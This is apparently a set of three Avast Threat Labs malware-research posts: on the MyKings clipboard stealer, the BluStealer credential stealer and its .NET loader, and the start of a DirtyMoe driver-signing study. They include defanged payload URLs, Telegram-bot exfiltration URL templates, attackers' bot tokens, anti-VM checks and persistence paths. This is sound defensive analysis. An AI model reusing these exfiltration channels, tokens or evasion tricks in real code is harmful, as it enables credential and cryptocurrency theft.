MyKings is a long-standing and relentless botnet which has been active from at least 2016. Since then it has spread and extended its infrastructure so much that it has even gained multiple names from multiple analysts around the world — MyKings, Smominru, and DarkCloud, for example. Its vast infrastructure consists of multiple parts and modules, including bootkit, coin miners, droppers, clipboard stealers, and more.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute that amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity.

Our hunting for new samples brought us over 6,700 unique samples. Just since the beginning of 2020 (after the release of the Sophos whitepaper), we protected over 144,000 Avast users threatened by this clipboard stealer module. Most attacks happened in Russia, India, and Pakistan.

In this first part of our two-part blog series, we will peek into the already known clipboard stealer module of MyKings, focusing on its technical aspects, monetization, and spread. In addition, we’ll look into how the functionality of  the clipboard stealer enabled attackers to carry out frauds with Steam trade offers and Yandex Disk links, leading to more financial gain and infection spread. 

Avast has been tracking the MyKings’ clipboard stealer since the beginning of 2018, but we can’t rule out an even earlier creation date. Basic functionality of this module was already covered by Gabor Szappanos from SophosLabs, but we are able to contribute with new technical details and IoCs.

1. Monetary gain

When Sophos released their blog at the end of 2019, they stated that the coin addresses are “not used or never received more than a few dollars”. After tracing newer samples, we were able to extract new wallet addresses and extend the list of 49 coin addresses in Sophos IoCs to over 1300.

Because of the amount of new data, we decided to share our script, which can query the amount of cryptocurrency transferred through a crypto account. Because not all blockchains have this possibility, we decided to find out how much money attackers gained through Bitcoin, Ethereum, and Dogecoin accounts. After inspecting these addresses we have confirmed that more than $24,700,000 worth in cryptocurrencies was transferred through these addresses. We can safely assume that this number is in reality higher, because the amount consists of money gained in only three cryptocurrencies from more than 20 in total used in malware. It is also important to note here that not all of the money present in the cryptowallets necessarily comes from the MyKings campaign alone.

After taking a closer look at the transactions and inspecting the contents of installers that dropped the clipboard stealer, we believe that part of this money was gained through crypto miners. The clipboard stealer module and the crypto miners were seen using the same wallet addresses.

2. Attribution

Even though the clipboard stealer and all related files are attributed in previous blog posts to MyKings, we wanted to confirm those claims, because of lack of definitive proof. Some articles (e.g. by Sophos) are saying that some scripts in the attribution chain, like c3.bat may kill other botnets or earlier versions of itself, which raises doubts. Other articles (e.g by Guardicore) are even working with the theory of a rival copycat botnet deleting MyKings.  MyKings is a large botnet with many modules and before attributing all the monetary gains to this clipboard stealer, we wanted to be able to prove that the clipboard stealer is really a part of MyKings.

We started our attribution with the sample d2e8b77fe0ddb96c4d52a34f9498dc7dd885c7b11b8745b78f3f6beaeec8e191. This sample is a NSIS installer which drops NsCpuCNMiner in both 32 and 64 bit versions.

In the NSIS header was possible to see this Monero address used for miner configuration:
41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2

Apart from the NsCpuCNMiner, the sample dropped an additional file with a name java12.exe into C:\Users\<username>\AppData\Local\Temp\java.exe. This file has SHA256 0390b466a8af2405dc269fd58fe2e3f34c3219464dcf3d06c64d01e07821cd7a and according to our data, was downloaded from http://zcop[.]ru/java12.dat by the installer. This file could be also downloaded from http://kriso[.]ru/java12.dat (both addresses contained multiple samples with different configurations at different times). This file contains a clipboard stealer. Also, the same Monero address can be found in both the clipboard stealer and the NSIS configuration.

After researching the Monero address, we found in blogpost written by Tencent Yujian Threat Intelligence Center, that sample b9c7cb2ebf3c5ffba6fdeea0379ced4af04a7c9a0760f76c5f075ded295c5ce2 uses the same address. This sample is another NSIS installer which drops the NsCpuCNMiner and the clipboard stealer. This NSIS installer was usually dropped under the name king.exe or king.dat and could be downloaded from http://kr1s[.]ru/king.dat.

In the next step, we looked into the address http://kr1s[.]ru/king.dat and we found that at different times, this address contained the file f778ca041cd10a67c9110fb20c5b85749d01af82533cc0429a7eb9badc45345c usually dropped into C:\Users\<username>\AppData\Local\Temp\king.exe or C:\Windows\system32\a.exe. This file is again a NSIS installer that downloads clipboard stealer, but this time it contains URLs http://js[.]mys2016.info:280/helloworld.msi and http://js[.]mys2016.info:280/v.sct.

URL http://js[.]mys2016.info:280/v.sct is interesting, because this URL is also contacted by the sample named my1.html or  my1.bat or my1.bat with SHA256 5ae5ff335c88a96527426b9d00767052a3cba3c3493a1fa37286d4719851c45c.

This file is a batch script which is almost identical to the script with the same name my1.bat and SHA256 2aaf1abeaeeed79e53cb438c3bf6795c7c79e256e1f35e2a903c6e92cee05010, as shown further below.

Both scripts contain the same strings as C:\Progra~1\shengda, C:\Progra~1\kugou2010. 

There are only two important differences to notice:

1. At line 12, one script uses address http://js[.]mys2016.info:280/v.sct and the other uses address http://js[.]1226bye.xyz:280/v.sct.
2. Line 25 in the second script has commands that the first script doesn’t have. You can notice strings like fuckyoumm3, a very well known indicator of MyKings.

Furthermore, it is possible to look at the file c3.bat with SHA256 0cdef01e74acd5bbfb496f4fad5357266dabb2c457bc3dc267ffad6457847ad4. This file is another batch script which communicates with the address http://js[.]1226bye.xyz:280/v.sct and contains many MyKings specific strings like fuckayoumm3 or task name Mysa1.

3. Technical analysis

Our technical analysis of the clipboard stealer focuses primarily on new findings.

3.1 Goal of the malware

The main purpose of the clipboard stealer is rather simple: checking the clipboard for specific content and manipulating it in case it matches predefined regular expressions. This malware counts on the fact that users do not expect to paste values different from the one that they copied. It is easy to notice when someone forgets to copy and paste something completely different (e.g. a text instead of an account number), but it takes special attention to notice the change of a long string of random numbers and letters to a very similar looking string, such as cryptowallet addresses. This process of swapping is done using  functions OpenClipboard, EmptyClipboard, SetClipboardData and CloseClipboard. Even though this functionality is quite simple, it is concerning that attackers could have gained over $24,700,000 using such a simple method.

As can be seen on image below, most of the regular expressions used for checking the clipboard content will match wallet formats of one specific cryptocurrency, but there are also regular expressions to match Yandex file storage, links to the Russian social network VKontakte, or Steam trade offer links.

We were able to find many comments from people at BlockChain Explorer services believing that they sent money to the incriminated accounts by a mistake and asking or demanding that their money be sent back. In response to this malicious activity, we want to increase awareness about frauds like this and we highly recommend people always double-check transaction details before sending  money.

3.2 Defense & features

Some other blog posts describe a few anti-debugging checks and defense against system monitoring tools, but we can’t confirm any new development.

In order to avoid multiple executions, the clipboard stealer checks for mutex on execution. The mutex name is created dynamically by checking on which version of OS it is launched on. This procedure is performed using functions RegOpenKeyExA which opens the registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion. Afterwards, a function RegQueryValueExA is called which gets the value of ProductName. The value obtained is then concatenated with the constant suffix 02. Using this method, you can get many more possibilities of existing mutexes. In the list below, you can find a few examples of mutex names:

• Windows 7 Professional02
• Windows 7 Ultimate02
• Windows 10 Enterprise02
• Windows 10 Pro02
• Windows XP02
• …

In a different version of the malware, an alternative value is used from registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion  and value of BuildGUID. This value is then also appended with suffix 02 to create the final mutex name.

Another mechanism serving as a defense of this malware is trying to hide the addresses of cryptowallets belonging to attackers. When the malware matches any of the regular expressions in the clipboard, it substitutes the clipboard content with a value that is hardcoded inside the malware sample. For protection against quick analysis and against static extraction with regular expressions, the substitute values are encrypted. Encryption used is a very simple ROT cipher, where the key is set to -1.

For a quick and static extraction of wallets from samples, it’s possible to decrypt the whole sample (which destroys all data except wanted values) and then use regular expressions to extract the hidden substitute values. The advantage of this approach is that the malware authors already provided us with all necessary regular expressions; thus the extraction process of the static information can be easily automated.

3.3 Newly uncovered functionality

With a larger dataset of samples, we were also able to reveal the intentions of regular expressions checking for URLs.

3.3.1 Steam trade frauds

One of the regular expressions hardcoded in samples looks like this:
((https://steamcommunit))(?!.*id|.*id)(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}))(/[a-zA-Z0-9%:/-_?.',27h,'~&]*)?

This kind of expression is supposed to match Steam trade offer links. Users on the Steam platform can create trade offers to trade what are usually in-game items from their inventory with other users. The value of the items that can be traded starts at only a few cents, but the most expensive items are being sold for hundreds or thousands dollars.

The clipboard stealer manipulates the trade offer URL and changes the receiving side, so Steam users send their items to someone completely unknown. The exchanged link then looks like this one:
https://steamcommunity[.]com/tradeoffer/new/?partner=121845838&token=advSgAXy

In total we were able to extract 14 different Steam trade offer links that appeared in almost 200 samples. These links lead us to 14 Steam accounts — some of which were banned and some had set privacy restrictions — but among the working public accounts we were able to find information that assured us that these frauds happened. An example is this is an account which was bound to the trade offer link listed above:
https://steamcommunity.com/id/rosher

After checking the comments section of this account, we could see multiple people getting angry and curious as to why their trade offer links are getting changed. Even though some people noticed the change in the trade offer link, we suppose that some trades were completed. We were not able to estimate how much money could have been stolen through this technique.

Translation of comments:

1. 9 Oct, 2020 @ 7:47 pm why is my trade link changing to yours?
2. 21 Jul, 2020 @ 2:16 pm Th for the garbage with a trade link !!! ???
3. 27 Jun, 2020 @ 5:05 am what a fagot what did you do with the link

3.3.2 Fake Yandex Disk links 

Another functionality is related to the regular expression:
((https://yad))+(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]

This regular expression matches links to Yandex Disk storage. Yandex Disk is a cloud service created by multinational Russian company Yandex and can be used similarly as Google Drive or Dropbox for sharing files.

The objective of this technique is to match links that users are sending to their friends and family to share files or photos. If the malware runs on the sender’s machine, the infected victim is sending wrong links to all their acquaintances. If the malware runs on the machine of the user that receives the link and copy/pastes it to the browser address bar, the victim again opens a wrong link. In both cases, the wrong link gets opened by someone unaware that the content is wrong. In both cases, the victim downloads files from that link and opens them, because there is no reason to not trust the files received from someone they know.

From the set of analyzed samples, we extracted following 4 links to Yandex Disk storage:

1. https://yadi[.]sk/d/cQrSKI0591KwOg
2. https://yadi[.]sk/d/NGyR4jFCNjycVA
3. https://yadi[.]sk/d/zCbAMw973ZQ5t3
4. https://yadi[.]sk/d/ZY1Qw7RRCfLMoQ

All of the links contain packed archives in a .rar or .zip format, protected with a password. The password is usually written in the name of the file. As you can see on the image below, the file is named, for example, as “photos,” with the password 5555.

4. Conclusion

In this first part of the blog series, we focused on the MyKings clipboard stealer module, going through the attribution chain and uncovering the amounts of money that attackers were able to obtain along the way. The clipboard stealer also focuses on frauds regarding Steam trade offers and Yandex Disk file sharing, distributing further malware to unaware victims.

In the next part of this blog series, we will go down the rabbit hole — exploring the contents of one of the downloaded payloads and providing you with an analysis of the malware inside. Don’t miss it!

Indicators of Compromise (IoC)

Also in our GitHub.

Also in our GitHub.

Complete list in our GitHub.

Appendix

Complete list in our GitHub.

Complete list in our GitHub.

Complete list in our GitHub.

Scripts

Script for querying amounts transferred through wallet addresses can be found in our GitHub.

The post The King is Dead, Long Live MyKings! (Part 1 of 2) appeared first on Avast Threat Labs.

Overview

BluStealer is is a crypto stealer, keylogger, and document uploader written in Visual Basic that loads C#.NET hack tools to steal credentials. The family was first mentioned by @James_inthe_box in May and referred to as a310logger. In fact, a310logger is just one of the namespaces within the .NET component that appeared in the string artifacts. Around July, Fortinet referred to the same family as a “fresh malware”, and recently it is mentioned again as BluStealer by GoSecure. In this blog, we decide to go with the BluStealer naming while providing a fuller view of the family along with details of its inner workings.

BluStealer is primarily spread through malspam campaigns. A large number of the samples we found come from a particular campaign that is recognizable through the use of a unique .NET loader. The analysis of this loader is provided in this section. Below are two BluStealer malspam samples. The first is a fake DHL invoice in English. The second is a fake General de Perfiles message, a Mexican metal company, in Spanish. Both samples contain .iso attachments and download URLs that the messages claim is a form that the lure claims the recipient needs to open and fill out to resolve a problem. The attachments contain the malware executables packed with the mentioned .NET Loader.

In the graph below, we can see a significant spike in BluStealer activity recently around September 10-11, 2021.

BluStealer Analysis

As mentioned, BluStealer consists of a core written in Visual Basic and the C# .NET inner payload(s). Both components vary greatly among the samples indicating the malware builder’s ability to customize each component separately. The VB core reuses a large amount of code from a 2004 SpyEx project, hence the inclusion of “SpyEx” strings in early samples from May. However, the malware authors have added the capabilities to steal crypto wallet data, swap crypto addresses present in the clipboard, find and upload document files, exfiltrate data through SMTP and the Telegram Bot API, as well as anti-analysis/anti-VM tactics. On the other hand, the .NET component is primarily a credential stealer that is patched together from a combination of open-source C# hack tools such as ThunderFox, ChromeRecovery, StormKitty, and firepwd. Note that not all the mentioned features are available in a single sample.

Obfuscation

Each string is encrypted with a unique key. Depending on the sample, the encryption algorithm can be the xor cipher, RC4, or the WinZip AES implementation from this repo. Below is a Python demonstration of the custom AES algorithm:

 A utility to help decrypt all strings in IDA is available here.

Anti-VM Tactics

BluStealer checks the following conditions:

If property Model of  Win32_ComputerSystem WMI class contains:

VIRTUA (without L), VMware Virtual Platform, VirtualBox, microsoft corporation, vmware, VMware, vmw

If property SerialNumber of Win32_BaseBoard WMI class contains  0 or None

If the following files exist:

• C:\\Windows\\System32\\drivers\\vmhgfs.sys

• C:\\Windows\\System32\\drivers\\vmmemctl.sys

• C:\\Windows\\System32\\drivers\\vmmouse.sys

• C:\\Windows\\System32\\drivers\\vmrawdsk.sys

• C:\\Windows\\System32\\drivers\\VBoxGuest\.sys

• C:\\Windows\\System32\\drivers\\VBoxMouse.sys

• C:\\Windows\\System32\\drivers\\VBoxSF.sys

• C:\\Windows\\System32\\drivers\\VBoxVideo.sys

If any of these conditions are satisfied, BluStealer will stop executing.

.NET Component

The BluStealer retrieves the .NET payload(s) from the resource section and decrypts it with the above WinZip AES algorithm using a hardcoded key. Then it executes one of the following command-line utilities to launch the .NET executable(s):

• C:\Windows\Microsoft.NET\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe

• C:\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe

The .NET component does not communicate with the VB core in any way. It steals the credentials of popular browsers and applications then writes them to disk at a chosen location with a designated filename (i.e credentials.txt). The VB core will look for this drop and exfiltrate it later on. This mechanic is better explained in the next section.

The .NET component is just a copypasta of open-source C# projects listed below. You can find more information on their respective Github pages:

• ThunderFox: github.com/V1V1/SharpScribbles
• ChromeRecovery: github.com/Elysian01/Chrome-Recovery
• StormKitty: github.com/swagkarna/StormKitty
• Firepwd:github.com/lclevy/firepwd 

Information Stealer

Both the VB core and the .NET component write stolen information to the %appdata%\Microsoft\Templates folder. Each type of stolen data is written to a different file with predefined filenames. The VB core sets up different timers to watch over each file and keeps track of their file sizes. When the file size increases, the VB core will send it to the attacker.

BluStealer VB core also detects the crypto addresses copied to the clipboard and replaces them with the attacker’s predefined ones. Collectively it can support the following addresses: Bitcoin, bitcoincash, Ethereum, Monero, Litecoin.

Data Exfiltration

BluStealer exfiltrates stolen data via SMTP (reusing SpyEx’s code) and Telegram Bot, hence the lack of server-side code. The Telegram token and chat_id are hardcoded to execute the 2 commands: sendDocument and sendMessage as shown below

• https://api.telegram.org/bot[BOT TOKEN]/sendMessage?chat_id=[MY_CHANNEL_ID]&text=[MY_MESSAGE_TEXT]
• https://api.telegram.org/bot[BOT TOKEN]/sendDocument?chat_id=[MY_CHANNEL_ID]&caption=[MY_CAPTION]

The SMTP traffic is constructed using Microsoft MimeOLE specifications

.NET Loader Walkthrough

This .NET Loader has been used by families such as Formbook, Agent Tesla, Snake Keylogger, Oski Stealer, RedLine, as well as BluStealer.

Demo sample: 19595e11dbccfbfeb9560e36e623f35ab78bb7b3ce412e14b9e52d316fbc7acc

First Stage

The first stage of the .NET loader has a generic obfuscated look and isn’t matched by de4dot to any known .NET obfuscator. However, one recognizable characteristic is the inclusion of a single encrypted module in the resource:

By looking for this module’s reference within the code, we can quickly locate where it is decrypted and loaded into memory as shown below

Prior to loading the next stage, the loader may check for internet connectivity or set up persistence through the Startup folder and registry run keys. A few examples are:

• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chrome\chrom.exe
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\chrom

• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\paint\paint.exe
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\paint

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\note\notepad.exe

In the samples we looked at closely, the module is decrypted using RC4, with a hardcoded key. The key is obfuscated by a string provider function. The best way to obtain the payload is to break at the tail jump that resides within the same namespace where the encrypted module is referenced. In most cases, it usually is the call to the external function Data(). Below are examples from the different samples:

Second stage

The second stage has the function calls and strings obfuscated, so the “Analyze” feature may not be as helpful. However, there are two resource files that look out-of-place enough for us to pivot off. Their getter functions can be easily found in the Resources class of the Properties namespace. Setting the breakpoint on the Ehiuuvbfrnprkuyuxqv getter function 0x17000003 leads us to a function where it is gzip decompressed revealing a PE file.

On the other hand, the breakpoint on the Ltvddtjmqumxcwmqlzcos getter function 0x17000004 leaves us in the middle of the Data() function, where all the function calls are made by passing a field into CompareComparator function that will invoke it like a method.

In order to understand what is going on, we have to know what functions these fields represent. From the experience working with MassLogger in the past, the field to method map file is likely embedded in the resource section, which in this case, “Dic.Attr” naming is a strong tell.

Note that it is important to find out where these fields are mapped to, because “Step into” may not get us directly to the designated functions. Some of the mapped functions are modified during the field-method binding process. So when the corresponding fields are invoked, the DynamicResolver.GetCodeInfo() will be called to build the target function at run-time. Even though the function modification only consists of replacing some opcodes with equivalent ones while keeping the content the same, it is sufficient enough to obfuscate function calls during dynamic analysis.

The search of the “Dic.Attr” string leads us to the function where the mapping occurs. The dictionary value represents the method token that will be bound, and the key value is the corresponding field. As for the method tokens start with 0x4A, just replace them with 0x6 to get the correct methods. These are the chosen ones to be modified for obfuscation purposes.

With all the function calls revealed, we can understand what’s going on inside the Data() method. First, it loads a new assembly that is the decompressed Ehiuuvbfrnprkuyuxqv. Then, it tries to create an instance of an object named SmartAssembly.Queues.MapFactoryQueue. To end the mystery, a method called “RegisterSerializer” is invoked with the data of the other resource file as an argument. At this point, we can assume that the purpose of this function would be to decrypt the other resource file and execute it.

Heading to the newly loaded module (af43ec8096757291c50b8278631829c8aca13649d15f5c7d36b69274a76efdac), we can see the SmartAssembly watermark and all the obfuscation features labeled as shown below.

The unpacking process will not be much different from the previous layer but with the overhead of code virtualization. From static analysis, our RegisterSerializer may look empty but once the SmartAssembly.Queues class is instantiated the method will be loaded properly:

Lucky for us, the code looks fairly straightforward. The variable “res” holding the encrypted data and is passed to a function that RulesListener.IncludeState represents. Once again, the key still is to find the field token to method token map file which is likely to be located in the resource section. This time searching for the GetManifestResourceStream function will help us quickly get to the code section where the map is established:

RulesListener.IncludeState has token 0x04000220 which is mapped to function 0x60000A3. Inside this function, the decryption algorithm is revealed anticlimactically: reversal and decompression:

In fact, all the samples can be unpacked simply by decompressing the reversed resource file embedded in the second stage. Hopefully, even when this algorithm is changed, my lengthy walkthrough will remain useful at showing you how to defeat the obfuscation tricks.

Conclusion

In this article, we break down BluStealer functionalities and provide some utilities to deobfuscate and extract its IOCs. We also highlight its code reuse of multiple open-source projects. Despite still writing data to disk and without a proper C2 functionality, BluStealer is still a capable stealer. In the second half of the blog, we show how the BluStealer samples and other malware can be obtained from a unique .NET loader. With these insights, we hope that other analysts will have an easier time classifying and analyzing BluStealer.

IOCs:

The full list of IoCs is available at https://github.com/avast/ioc/tree/master/BluStealer

BluStealer

SHA-256

678e9028caccb74ee81779c5dd6627fb6f336b2833e9a99c4099898527b0d481
3151ddec325ffc6269e6704d04ef206d62bba338f50a4ea833740c4b6fe770ea
49da8145f85c63063230762826aa8d85d80399454339e47f788127dafc62ac22
7abe87a6b675d3601a4014ac6da84392442159a68992ce0b24e709d4a1d20690

Crypto Address List

Bitcoin:
1ARtkKzd18Z4QhvHVijrVFTgerYEoopjLP (1.67227860 BTC)
1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX (0.06755943 BTC)
1MEf31xHgNKqyB7HEeAbcU6BhofMdwLE3r
38atNsForzrDRhJoVAhyXsQLqWYfYgodd5
bc1qrjl4ksg5h7p70jjtypr8s6cjpngzd3kerfj9rt
bc1qjg3y4d4t6hwg6h22khknlxcstevjg2qkrxt6qu
1KfRWVcShzwE2Atp1njogAqH8qodsif3pi
3P6JnvWtubxbCxgPW7GAAj8u6CLV2h9MkY
13vZcoMYRcKrDRDYUyH9Cd4kCRMZVjFkyn

Bitcoincash:
qrej5ltx0sgk5c7aygdsvt2gh7fq04umvusxhxl7wq
qrzakt59udz893u2uuwtgrwrjj9dhtk0gc3m4m2sj5

Ethereum:
0xd070c48cd3bdeb8a6ca90310249aae90a7f26303 (0.10 ETH)
0x95d3763546235393B77aC188E5B08dD4Af68d89D
0xcfE71c720b7E99e555c0e98b725919B7a69f8Bb0

Monero.address:
46W5WHQG2B1Df9uKrkyuhoLNVtJouMfPR9wMkhrzRiEtD2PmdcXMvQt52jQVWKXUC45hwYRXhBYVjLRbpDu8CK2UN2xzenr
43Q4G9CdM3iNbkwhujAQJ7TedSLxYQ8hJJHYqsqns7qz696gkPgMvUvDcDfZJ7bMzcaQeoSF86eFE2fL9njU59dQRfPHFnv

Litecoint address:
LfADbqTZoQhCPBr39mqQpf9myUiUiFrDBG
LY5jmjdFnvgFjJET2wX5fVV6Gv89QdQRv3

Telegram Tokens:

1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs
1989667182:AAFx2Rti45m06IscLpGbHo8v4659Q8swfkQ

SMTP

[email protected] (smtp.1and1.com)
[email protected] (mail.starkgulf.com )
[email protected] (mail.bojtai.club)
[email protected] (smtp.ionos.es)
[email protected]
[email protected] (shepherd.myhostcpl.com)
[email protected] (mail.farm-finn.com)
[email protected] (mail.starkgulf.com)

.NET Loader SHA-256:

ae29f49fa80c1a4fb2876668aa38c8262dd213fa09bf56ee6c4caa5d52033ca1
35d443578b1eb0708d334d3e1250f68550a5db4d630f1813fed8e2fc58a2c6d0
097d0d1119fb73b1beb9738d7e82e1c73ab9c89a4d9b8aeed35976c76d4bad23
c783bdf31d6ee3782d05fde9e87f70e9f3a9b39bf1684504770ce02f29d5b7e1
42fe72df91aa852b257cc3227329eb5bf4fce5dabff34cd0093f1298e3b5454e
1c29ee414b011a411db774015a98a8970bf90c3475f91f7547a16a8946cd5a81
81bbcc887017cc47015421c38703c9c261e986c3fdcd7fef5ca4c01bcf997007
6956ea59b4a70d68cd05e6e740598e76e1205b3e300f65c5eba324bebb31d7e8
6322ebb240ba18119193412e0ed7b325af171ec9ad48f61ce532cc120418c8d5
9f2bfedb157a610b8e0b481697bb28123a5eabd2df64b814007298dffd5e65ac
e2dd1be91c6db4b52eab38b5409b39421613df0999176807d0a995c846465b38

The post BluStealer: from SpyEx to ThunderFox appeared first on Avast Threat Labs.

Abstract

The DirtyMoe malware uses a driver signed with a revoked certificate that can be seamlessly loaded into the Windows kernel. Therefore, one of the goals is to analyze how Windows works with a code signature of Windows drivers. Similarly, we will be also interested in the code signature verification of user-mode applications since the user account control (UAC) does not block the application execution even if this one is also signed with a revoked certificate. The second goal is a statistical analysis of certificates that sign the DirtyMoe driver because the certificates are also used to sign other malicious software. We focus on the determination of the certificate’s origin, prevalence, and a quick analysis of the top 10 software signed with these certificates.

Contrary to what often has been assumed, Windows loads a driver signed with a revoked certificate. Moreover, the results indicate that the UAC does not verify revocation online but only via the system local storage which is updated by a user manually. DirtyMoe certificates are used to sign many other software, and the number of incidents is still growing. Furthermore, Taiwan and Russia seem to be the most affected by these faux signatures.

Overall, the analyzed certificates can be declared as malicious, and they should be monitored. The UAC contains a significant vulnerability in its code signature verification routine. Therefore, in addition to the usual avoidance of downloading from usual sources, Windows users should also not fully rely on inbuilt protections only. Due to the flawed certificate verification, manual verification of the certificate is recommended for executables requiring elevated privileges.

1. Introduction

The DirtyMoe malware is a complex malicious backdoor designed to be modularized, undetectable, and untrackable. The main aim of DirtyMoe is cryptojacking and DDoS attacks. Basically, it can do anything that attackers want. The previous study, published at DirtyMoe: Introduction and General Overview, has shown that DirtyMoe also employs various self-protection and anti-forensics mechanisms. One of the more significant safeguards, defending DirtyMoe, is a rootkit. What is significant about the rootkit using is that it offers advanced techniques to hide malicious activity on the kernel layer. Since DirtyMoe is complex malware and has undergone long-term development, therefore, the malware authors have also implemented various rootkit mechanisms. The DirtyMoe: Rootkit Driver post examines the DirtyMoe driver functionality in detail.

However, another important aspect of the rootkit driver is a digital signature. The rootkits generally exploit the system using a Windows driver. Microsoft has begun requiring the code signing with certificates that a driver vendor is trusted and verified by a certification authority (CA) that Microsoft trusts. Nonetheless, Windows does not allow the loading of unsigned drivers since 64-bit Windows Vista and later versions. Although the principle of the code signing is correct and safe, Windows allows  loading a driver that a certificate issuer has explicitly revoked the used certificate. The reasons for this behavior are various, whether in terms of performance or backward compatibility. The weak point of this certificate management is if malware authors steal any certificate that has been verified by Microsoft and revoked by CA in the past. Then the malware authors can use this certificate for malicious purposes. It is precisely the case of DirtyMoe, which still signs its driver with stolen certificates. Moreover, users cannot affect the codesign verification via the user account control (UAC) since drivers are loaded in the kernel mode.

Motivated by the loading of drivers with revoked certificates, the main issues addressed in this paper are analysis of mechanism how Windows operates with code signature in the kernel and user mode; and detailed analysis of certificates used for code signing of the DirtyMoe driver.

This paper first gives a brief overview of UAC and code signing of Windows drivers. There are also several observations about the principle of UAC, and how Windows manages the certificate revocation list (CRL). The remaining part of the paper aims to review in detail the available information about certificates that have been used to code signatures of the DirtyMoe driver.

Thus far, three different certificates have been discovered and confirmed by our research group as malicious. Drivers signed with these certificates can be loaded notwithstanding their revocation into the 64-bit Windows kernel. An initial objective of the last part is an analysis of the suspicious certificates from a statistical point of view. There are three viewpoints that we studied. The first one is the geological origin of captured samples signed with the malicious certificate. The second aspect is the number of captured samples, including a prediction factor for each certificate. The last selected frame of reference is a statistical overview about a type of the signed software because the malware authors use the certificates to sign various software, e.g., cracked software or other popular user applications that have been patched with a malicious payload. We have selected the top 10 software signed with revoked certificates and performed a quick analysis. Categories of this software help us to ascertain the primarily targeted type of software that malware authors signed. Another significant scope of this research is looking for information about companies that certificates have probably been leaked or stolen.

2. Background

Digital signatures are able to provide evidence of the identity, origin, and status of electronic documents, including software. The user can verify the validity of signatures with the certification authority. Software developers use digital signatures to a code signing of their products. The software authors guarantee via the signature that executables or scripts have not been corrupted or altered since the products have been digitally signed. Software users can verify the credibility of software developers before run or installation.

Each code-signed software provides information about its issuer, and an URL points to the current certificate revocation list (CRL) known as the CRL Distribution Point. Windows can follow the URL and check the validity of the used certificate. If the verification fails, the User Account Control (UAC) blocks software execution that code-signature is not valid. Equally important is the code-signature of Windows drivers that use a different approach to digital signature verification. Whereas user-mode software signatures are optional, the Windows driver must be signed by a CA that Windows trusts. Driver signing is mandatory since 64-bit Windows Vista.

2.1 User Account Control and Digital Signature

Windows 10 prompts the user for confirmation if the user wants to run software with high permission. User Account Control (UAC) should help to prevent users from inadvertently running malicious software or other types of changes that might destabilize the Windows system. Additionally, UAC uses color coding for different scenarios – blue for a verified signature, yellow for an unverified, and red for a rejected certificate; see Figure 1.

Unfortunately, users are the weakest link in the safety chain and often willingly choose to ignore such warnings. Windows itself does not provide 100% protection against unknown publishers and even revoked certificates. So, user’s ignorance and inattention assist malware authors.

2.2 Windows Drivers and Digital Signature

Certificate policy is diametrically different for Windows drivers in comparison to other user-mode software. While user-mode software does not require code signing, code signing is mandatory for a Windows driver; moreover, a certificate authority trusted by Microsoft must be used. Nonetheless, the certificate policy for the windows drivers is quite complicated as MSDN demonstrates [1].

2.2.1 Driver Signing

Historically, 32-bit drivers of all types were unsigned, e.g., drivers for printers, scanners, and other specific hardware. Windows Vista has brought a new signature policy, but Microsoft could not stop supporting the legacy drivers due to backward compatibility. However, 64-bit Windows Vista and later has to require digitally signed drivers according to the new policy. Hence, 32-bit drivers do not have to be signed since these drivers cannot be loaded into the 64-bit kernels. The code signing of 32-bit drivers is a good practice although the certificate policy does not require it.

Microsoft has no capacity to sign each driver, more precisely file, provided by third-party vendors. Therefore, a cross-certificate policy is used to provide an instrument to create a chain of trust. This policy allows the release of a subordinate certificate that builds the chain of trust from the Microsoft root certification authority to multiple other CAs that Microsoft accredited. The current cross-certificate list is documented in [2]. In fact, the final driver signature is done with a certificate that has been issued by the subordinate CA, which Microsoft authorized.

The examples of the certificate chain illustrates Figure 2 and the following output of signtool;
see Figure 3.

2.2.2 Driver Signature Verification

For user-mode software, digital signatures are verified remotely via the CRL list obtained from certificate issuers. The signature verification of Windows drivers cannot be performed online compared with user-mode software because of the absence of network connection during the kernel bootup. Moreover, the kernel boot must be fast and a reasonable approach to tackle the signature verification is to implement a light version of the verification algorithm.

The Windows system has hardcoded root certificates of several CAs and therefore can verify the signing certificate chain offline. However, the kernel has no chance to authenticate signatures against CRLs. The same is applied to expired certificates. Taken together, this approach is implemented due to kernel performance and backward driver compatibility. Thus, leaked and compromised certificates of a trusted driver vendor causes a severe problem for Windows security.

3. CRL, UAC, and Drivers

As was pointed out in the previous section, CRL contains a list of revoked certificates. UAC should verify the chain of trust of run software that requires higher permission. The UAC dialog then shows the status of the certificate verification. It can end with two statuses, e.g., verified publisher or unknown publisher [3], see Figure 1.

However, we have a scenario where software is signed with a revoked certificate and run is not blocked by UAC. Moreover, the code signature is marked as the unknown publisher (yellow titled UAC), although the certificate is in CRL.

3.1 Cryptographic Services and CRL Storage

Cryptographic Services confirms the signatures of Windows files and stores file information into the C:\Users\<user>\AppData\LocalLow\Microsoft\CryptnetUrlCache folder, including the CRL of the verified file. The CryptnetUrlCache folder (cache) is updated, for instance, if users manually check digital signatures via “Properties -> Digital Signature” or via the signtool tools, as Figure 3 and Figure 4 illustrate. The certificate verification processes the whole chain of trust, including CRL and possible revocations deposits in the cache folder.

